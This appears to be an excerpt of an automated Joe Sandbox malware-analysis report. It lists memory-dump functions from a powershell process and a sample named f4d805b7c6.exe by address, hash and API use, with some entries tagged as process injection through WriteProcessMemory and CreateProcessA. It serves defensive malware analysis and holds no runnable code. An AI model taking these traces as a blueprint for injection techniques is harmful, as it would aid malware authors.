Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af41b3a5189ff16239e0db5852531ad95b521cc6014e1622779b852275d1c42d
Instruction ID: f5627a7d53247dfbb6200965659a12d754f446c444632796da0b02156ca289f1
Opcode Fuzzy Hash: af41b3a5189ff16239e0db5852531ad95b521cc6014e1622779b852275d1c42d
Instruction Fuzzy Hash: 22F03A355067144BD3619B78D8AA3DABFE5FB05310F10446AE14AC7292DB386C85CB91

Function 008BDE38 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1928295f2e78a333e4012a2cee47e835dfc5cb85f81cdedeacfb51efeebede5c
Instruction ID: 57f945f6c901ab5fe734852ae528a5aa787c78498cc4b964cac5485c208ad714
Opcode Fuzzy Hash: 1928295f2e78a333e4012a2cee47e835dfc5cb85f81cdedeacfb51efeebede5c
Instruction Fuzzy Hash: 8EF05E343042509FC3009B1DD494C66BBFAEFCA754329009AE584DF332EA62DC52CB91

Function 0080D8C4 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2848289155.000000000080D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0080D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_80d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c1b93659e213af265c2265175b66a6457f670d20bb2c9157c8cc39a8b4ee5ba
Instruction ID: 74d94e5343465e8135fcfae0f8002457a04243ec83e29f3b2fe8ab87128a7858
Opcode Fuzzy Hash: 9c1b93659e213af265c2265175b66a6457f670d20bb2c9157c8cc39a8b4ee5ba
Instruction Fuzzy Hash: 8BF04975100B40AFD321CF06CC84D23BBB9FB85720B298499A84A8B352C630FC42CF60

Function 008B8969 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11a95a75fe16982ad7b367988d247cd758f0b87dd009e101f1f059434ea0b018
Instruction ID: fec1dbd9b216f867cc9e0a8ac6e88d0eb6225d8417259f3241cf1c62805c7aad
Opcode Fuzzy Hash: 11a95a75fe16982ad7b367988d247cd758f0b87dd009e101f1f059434ea0b018
Instruction Fuzzy Hash: 48F0A7393087605BC7072774A81A3EE7F65FF86320F050167E505C7282DF284D0683E6

Function 008B7968 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74b06755b59b0f3a824d6ad2b2ddeed70a1667d0e7797f18eef5b93e4a0bba20
Instruction ID: 3beae206dfda2188ba2a55c9375ea6b83afa5c0db199152adfd4fd257886c48e
Opcode Fuzzy Hash: 74b06755b59b0f3a824d6ad2b2ddeed70a1667d0e7797f18eef5b93e4a0bba20
Instruction Fuzzy Hash: 43F082317007159FD7509669E844A6FBBE9EB88361B00052DE609C3740DE35AD4187B5

Function 008B90E8 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 355d5b2ccbcb1a31980680dd485eabbd29343c68ea3f1f6520cd2c7614b030e7
Instruction ID: ef526374c33ea79e66d7c6aa08f52dd1591ad15bf8aee4b1478cb06a93515203
Opcode Fuzzy Hash: 355d5b2ccbcb1a31980680dd485eabbd29343c68ea3f1f6520cd2c7614b030e7
Instruction Fuzzy Hash: 86F027B56005089BD754AB69D4197DB77DAEFC0318F20812EE91A9B385CE392D02C7D2

Function 008B7697 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 415e9f88324f52a67aec30e256b1a2769d65fd6c8c29dbc75ee6be085092e0fd
Instruction ID: e867fb5dbc8311ce7798a14926fbf8b76041bfb58e725d53a6ce58ad587eb82c
Opcode Fuzzy Hash: 415e9f88324f52a67aec30e256b1a2769d65fd6c8c29dbc75ee6be085092e0fd
Instruction Fuzzy Hash: 6AF0A0793006148FCB00CB6DD800ADA77A6FBDD3507154194F509CB365DB20DC018B91

Function 008BDE48 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51badb6a5e00a84e16305824078dd88995309810eb6ceeeb68005ccaf71867ec
Instruction ID: f55e2f03e40919a2e16ebdb2aa272bb247800b294bb5df3273eb3a1c58736f08
Opcode Fuzzy Hash: 51badb6a5e00a84e16305824078dd88995309810eb6ceeeb68005ccaf71867ec
Instruction Fuzzy Hash: 91E09A353002009F83009B1DD488C66BBFAEFCE72532A00A9E549CF331DE22EC01CB80

Function 008BAF88 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74b4fe8ed7f7ec2a494e17a17ad1f73d3589aec24bcdeaab139e59804fdbeac0
Instruction ID: 0eb0891caba148343c9464affd34feb381a7caf1da7aa0bf2306a188c4d931cd
Opcode Fuzzy Hash: 74b4fe8ed7f7ec2a494e17a17ad1f73d3589aec24bcdeaab139e59804fdbeac0
Instruction Fuzzy Hash: DBE092223093A657872AD22DD8900E5FB77DEC362032840BAE044CB343FF118C1A8392

Function 008B9168 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eefb50b26b3eb22a6ff40df92ec87b29ce0744c698ca352a7b6c42bc1b10fdea
Instruction ID: f7df00ec7dff1af74618ac7396d5edb5722c8a6fc3e8399a55bf79648bb5dfa2
Opcode Fuzzy Hash: eefb50b26b3eb22a6ff40df92ec87b29ce0744c698ca352a7b6c42bc1b10fdea
Instruction Fuzzy Hash: 27F0ED749017045BD7649F79D89D79A7BE9FB44310F004469E65ED7380DB3969808B90

Function 008B9549 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 527f0c0d7a49fc52b435c858879a98434a0151287e1ab0704063789ea0f5ef1f
Instruction ID: f80ccf4bc664af4f572a86aaaa552aaa4c91f703dd6121e7ee96c4f49b749d07
Opcode Fuzzy Hash: 527f0c0d7a49fc52b435c858879a98434a0151287e1ab0704063789ea0f5ef1f
Instruction Fuzzy Hash: B8E0C2927420252342E471ED18502FBABCFEFC5694709013AEA04C3302FD10CC0683F2

Function 008B8978 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5547674f3b9df9654a65faa07eb69264025f9c513c98b384e597babee2bac5bc
Instruction ID: b4631eae1be0bf172bca1554dcb79878b0befa39b5358e61bda6dbbbf7097a2f
Opcode Fuzzy Hash: 5547674f3b9df9654a65faa07eb69264025f9c513c98b384e597babee2bac5bc
Instruction Fuzzy Hash: 6FE04F3970461457CB0A2779A81E3AE7B6AFBC5725F04002AF61A87381CF695D0287DA

Function 008B9550 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19c5db593d0eedeeb095334e8a5a127471fbd7be515381b5074e7c3d8a0b0ee6
Instruction ID: fda0576362938b7456ea37ea6f90bfa0d560f5e9468fdc345be94219779b99e5
Opcode Fuzzy Hash: 19c5db593d0eedeeb095334e8a5a127471fbd7be515381b5074e7c3d8a0b0ee6
Instruction Fuzzy Hash: 84D05ED27421252745E431FE18216FBAACFDBC56A4709013AEA09C3343EC40CC0283F2

Function 008BDCE8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction ID: 7d7f28b3e3359546af3615dcf463140769f91cf9ad37bdf03dd0766d96d5c399
Opcode Fuzzy Hash: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction Fuzzy Hash: 4DE08631B10118A78B089959D4104EDF7AAEBCC324F14807ED90AE7340DA32691586E1

Function 008B8739 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9432e6edfd7dba787c37c43284b3274540e9ab748c642339d04e0e429ee754a
Instruction ID: ae980de5f80dc84c4a3975237212a53db13bf3a1695fd898620e0bedf7dc66f3
Opcode Fuzzy Hash: f9432e6edfd7dba787c37c43284b3274540e9ab748c642339d04e0e429ee754a
Instruction Fuzzy Hash: 56E01A3580511ACBCB1AEFA4E44B4EDBB34FF14315B600199E94283182EB315A5ACB84

Function 008B8800 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e9c1ce9f4ed2e3d2bdab2fbff8e5a29999124a4b146ae473ce746cb1396ae63
Instruction ID: a0ec13876d5b1473adbd327535bafe1d3fa1e480230ee833512100deac975587
Opcode Fuzzy Hash: 9e9c1ce9f4ed2e3d2bdab2fbff8e5a29999124a4b146ae473ce746cb1396ae63
Instruction Fuzzy Hash: 72E01A39A0820ADBCB14EFA4E4875AABFB4FB44304B204165E905D3342EB309C95CB81

Function 008BF458 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fd5c7199527b9395b8464f1ea93d8390157b7b3d6ec76c152931f9cf5ccc81f
Instruction ID: 49df9b651141d7964b90534f47c74ad39c094350b12247ef6736ec506d8c9c0e
Opcode Fuzzy Hash: 7fd5c7199527b9395b8464f1ea93d8390157b7b3d6ec76c152931f9cf5ccc81f
Instruction Fuzzy Hash: 5EE01274D052496FC780DFB898415AAFFF4EB49200B2085EAD999D7311E6315A11DBD1

Function 008BF468 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction ID: ff33a93cfa4604a1f5bd5f1add7159cd982ab0fd00067bf0b7b66b51749899b7
Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction Fuzzy Hash: F7D067B4D0420D9F8780EFADD9415AEFBF4EB48204F6085BA8919E7301E7329A128BD5

Function 008B8748 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce49c463f42fa27453809d82b7c3220390acae19969e20fb741375328b15a9cd
Instruction ID: d549e97457377369ae99656749f58fab32e6406942c3cffe3774ef335e2e3688
Opcode Fuzzy Hash: ce49c463f42fa27453809d82b7c3220390acae19969e20fb741375328b15a9cd
Instruction Fuzzy Hash: 6AD01738C0410DCBCB1AABA4E81B5BDBB34FA00315F4001A9E90792290EE341A4ACAC4

Function 008B8810 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f90e90d9a53b5553c4002c1d1b154f092e85d801e8540bdc7f4a2afec1d88e3
Instruction ID: def6579150b2fcd85ed0569e64f5f2ff82945218528c06312a8254dfd48ea982
Opcode Fuzzy Hash: 0f90e90d9a53b5553c4002c1d1b154f092e85d801e8540bdc7f4a2afec1d88e3
Instruction Fuzzy Hash: EDD01738A0820ADBCB18EFA4E84B96EBFB4FB44304F004169EA09D3380EA305C01CBC1

Function 008B7932 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69ff009427e239c4dea25515c9beb86df2771c60f3869f41a41212c671c74aca
Instruction ID: 31c34e92cf7b1b8814aff611fc8ba5f3571eccf7dda8678df3dcfccec1972a14
Opcode Fuzzy Hash: 69ff009427e239c4dea25515c9beb86df2771c60f3869f41a41212c671c74aca
Instruction Fuzzy Hash: E7D0223610E3C28FE7025BB0BC140C03F22EE8329034600EFE00ACA2E3D92A8948CB12

Function 008B7EA0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3a122154b74c8024b4b4900cf64f1dc2c5dc4de48cc7759a8f82437d83ac3a8
Instruction ID: 8e54cd15b03ca0ecd74828fe094716fed507a45221a9a7e8ef9e27c3a747c201
Opcode Fuzzy Hash: d3a122154b74c8024b4b4900cf64f1dc2c5dc4de48cc7759a8f82437d83ac3a8
Instruction Fuzzy Hash: AEC08C22A5D3810FFF03B2322C210D62FB284532A030E02D3E800C7027DC1D89018291

Function 008B7940 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17d5a608282f5d02d92c82e412745255a95b80d1e42df1b0e13658f271d003d3
Instruction ID: ca243e294fd25ebb645ff8377a00ad1015e18c1e094aebc772188e98833a6782
Opcode Fuzzy Hash: 17d5a608282f5d02d92c82e412745255a95b80d1e42df1b0e13658f271d003d3
Instruction Fuzzy Hash: 29B092300457498FC3486F75AC088197329AB4021578004A8E80E0A6928E3AE888CE54

Non-executed Functions

Function 07042308 Relevance: 5.2, Strings: 4, Instructions: 158COMMON

Download Yara Rule

Strings

pij, xrefs: 070423A0
pij, xrefs: 07042363
pij, xrefs: 07042416
pij, xrefs: 070423B0

Memory Dump Source

Source File: 0000000D.00000002.2878749313.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7040000_powershell.jbxd

Similarity

API ID:
String ID: pij$pij$pij$pij
API String ID: 0-4208804078
Opcode ID: c9d12f87c59a3db7c2fa4a0952157c8e11624a71186d6c384bb89a72f19033ca
Instruction ID: 000c45f9953eaa10a49f8a7deff0525c385d81a518c9026f92a1f6b8ad46cb5e
Opcode Fuzzy Hash: c9d12f87c59a3db7c2fa4a0952157c8e11624a71186d6c384bb89a72f19033ca
Instruction Fuzzy Hash: A15104F1B00206DFDB609F6984016AEBBF1FB8A211F04817AF555DF241DB75D981C7A2

Analysis Process: f4d805b7c6.exePID: 364, Parent PID: 5024COMMON

Executed Functions

Function 04AF3D75 Relevance: 1.7, APIs: 1, Instructions: 246
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 04AF3FB6

Memory Dump Source

Source File: 0000000F.00000002.2966361467.0000000004AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4af0000_f4d805b7c6.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: df7d8b273c08740f62d621bdd369bd63357ff0cba62f258656eb5b05253ffedb
Instruction ID: e5f4dc3451c4a5495bde8de3c3a1d110299b3ffb0f3bee52472a96b0dd7c2650
Opcode Fuzzy Hash: df7d8b273c08740f62d621bdd369bd63357ff0cba62f258656eb5b05253ffedb
Instruction Fuzzy Hash: 06A14971D00219DFEF20CFA9CC41B9EBBB2AF48314F1485A9E919A7290DB749985CF91

Function 04AF3D80 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 04AF3FB6

Memory Dump Source

Source File: 0000000F.00000002.2966361467.0000000004AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4af0000_f4d805b7c6.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 55a4ddb7c1c51bdc099345201c6da2a746cca67d690829829b9fac4237277486
Instruction ID: cb0a2e3a7f7951e881fe2381fedb368efff008f8e101f4b400a858d31aeb7ca2
Opcode Fuzzy Hash: 55a4ddb7c1c51bdc099345201c6da2a746cca67d690829829b9fac4237277486
Instruction Fuzzy Hash: 6F912A71D00219DFEF20CFA9CC41B9EBBB2BF48714F1485A9E909A7290DB749985CF91

Function 081EA4E0 Relevance: 1.6, APIs: 1, Instructions: 105
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,081EB9BD,?,?), ref: 081EBA6F

Memory Dump Source

Source File: 0000000F.00000002.2976744231.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_81e0000_f4d805b7c6.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 2c9129ba696f6a343fdd4dece2a04e87b886387af2e69521abc91cb380525d18
Instruction ID: 3ba0e56559880a43cf020fda069fd422d9a42312e85ffdbd3a664a80e6f01ea3
Opcode Fuzzy Hash: 2c9129ba696f6a343fdd4dece2a04e87b886387af2e69521abc91cb380525d18
Instruction Fuzzy Hash: 5A4189B1D046599FDB10CF9AD8846AEFFF4EF89321F14402AE455E7211D3759944CBA0

Function 02948D7C Relevance: 1.6, APIs: 1, Instructions: 99
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02948E39

Memory Dump Source

Source File: 0000000F.00000002.2928729760.0000000002940000.00000040.00000800.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2940000_f4d805b7c6.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 3e65ad5d85a40bc69d76b4bb360d0edb58e5d6947b8738305624f961d8403c11
Instruction ID: 077438f658f23c51b8aa09d8a4a57b5914bb38628770759c501067d56e860e6e
Opcode Fuzzy Hash: 3e65ad5d85a40bc69d76b4bb360d0edb58e5d6947b8738305624f961d8403c11
Instruction Fuzzy Hash: E141F470D00719DFEB24DFAAC844BCEBBB5BF88704F20856AD409AB251DB755946CF50

Function 02947898 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02948E39

Memory Dump Source

Source File: 0000000F.00000002.2928729760.0000000002940000.00000040.00000800.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2940000_f4d805b7c6.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: b4d559f8e270861aa34f6deca6ab0126a7ea33bdd7d48beb313dd7fbfc18cf23
Instruction ID: 19352d53cbb4f2df990d95e9219e4b66532ba0461d24e7057bd123f569a0e83e
Opcode Fuzzy Hash: b4d559f8e270861aa34f6deca6ab0126a7ea33bdd7d48beb313dd7fbfc18cf23
Instruction Fuzzy Hash: 4041D270D0071DCBDB24DFAAC844BCEBBB5BF88704F20856AD409AB251DB755946CF90

Function 081EC6D0 Relevance: 1.6, APIs: 1, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000F.00000002.2976744231.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_81e0000_f4d805b7c6.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: 31545b75e296d55ca0b61fe5291fe630f0af066b5987f73a0790266d9eb14bdb
Instruction ID: 2ad71ff3474bc5e2be8dfcf88883066258c51161855cdba347f6da5bc1ebd823
Opcode Fuzzy Hash: 31545b75e296d55ca0b61fe5291fe630f0af066b5987f73a0790266d9eb14bdb
Instruction Fuzzy Hash: 653189768043899FCB118FA9D840ADABFF8EF09310F14805AF954A7261C3359960DFA1

Function 04AF3AF0 Relevance: 1.6, APIs: 1, Instructions: 74
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 04AF3B88

Memory Dump Source

Source File: 0000000F.00000002.2966361467.0000000004AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4af0000_f4d805b7c6.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: e623bc098ffd113096ebb453e81342506613323888d063fe1934ee9df8251141
Instruction ID: 2ac795d7fc29d160acb94ed4a28daeb4b495f3ca047ebd33d7a383eee07516fa
Opcode Fuzzy Hash: e623bc098ffd113096ebb453e81342506613323888d063fe1934ee9df8251141
Instruction Fuzzy Hash: 452157719013099FDF00CFA9C881BDEBBF1FF48320F10842AE919A7241C7789955CBA5

Function 081EB9D0 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,081EB9BD,?,?), ref: 081EBA6F

Memory Dump Source

Source File: 0000000F.00000002.2976744231.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_81e0000_f4d805b7c6.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 1d9b99dd762b861d7f39615e526ec755ee62731cb15d5677497c40ea23191aa5
Instruction ID: 0955eaeb5d46b63198fc93b9b450393385d76a7f6217a0fcf2639313fc3dd512
Opcode Fuzzy Hash: 1d9b99dd762b861d7f39615e526ec755ee62731cb15d5677497c40ea23191aa5
Instruction Fuzzy Hash: 7031D1B59042499FDB10CF9AD884ADEFBF4EF48320F14842AE919A7210D775A944CFA0

Function 081EA4EC Relevance: 1.6, APIs: 1, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,081EB9BD,?,?), ref: 081EBA6F

Memory Dump Source

Source File: 0000000F.00000002.2976744231.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_81e0000_f4d805b7c6.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: a0184752f7543cf2a1339c8b557caa0739fc7f7964e1ed5d6673ec3b429870d8
Instruction ID: 1e51e79c3d3af1fb3013d47a4b77f266a2cd86e75d621e0c46e59b8020be0187
Opcode Fuzzy Hash: a0184752f7543cf2a1339c8b557caa0739fc7f7964e1ed5d6673ec3b429870d8
Instruction Fuzzy Hash: EC31E2B59046099FDB10CF9AD884AAEFBF4FF48320F14842EE919B7210D375A954CFA0

Function 04AF3AF8 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 04AF3B88

Memory Dump Source

Source File: 0000000F.00000002.2966361467.0000000004AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4af0000_f4d805b7c6.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 7c8faa20fded819bbcb2bd9eb77927b3971d0698d224a56adbafe703c0039537
Instruction ID: 06c1aacea2d6babd36dd32d200d9b083152d549f6718830b5b6f7a82dd1a8301
Opcode Fuzzy Hash: 7c8faa20fded819bbcb2bd9eb77927b3971d0698d224a56adbafe703c0039537
Instruction Fuzzy Hash: FA2125719003499FDF10CFAAC885BDEBBF5FF48320F14842AE919A7240C778A954CBA4

Function 04AF3BE1 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 04AF3C68

Memory Dump Source

Source File: 0000000F.00000002.2966361467.0000000004AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4af0000_f4d805b7c6.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 1aa9899c649f3fc985d13a03e2a8360a2d7bd318f1bd5891449a0f924994bb0b
Instruction ID: e9481e0adafe2519f97628c13adb5834bbc1cb4e024f85e22148414c67caae34
Opcode Fuzzy Hash: 1aa9899c649f3fc985d13a03e2a8360a2d7bd318f1bd5891449a0f924994bb0b
Instruction Fuzzy Hash: 002139B180034A9FEF10CFAAC885ADEFBF1FF48320F14841AE519A7250D7389555CB64

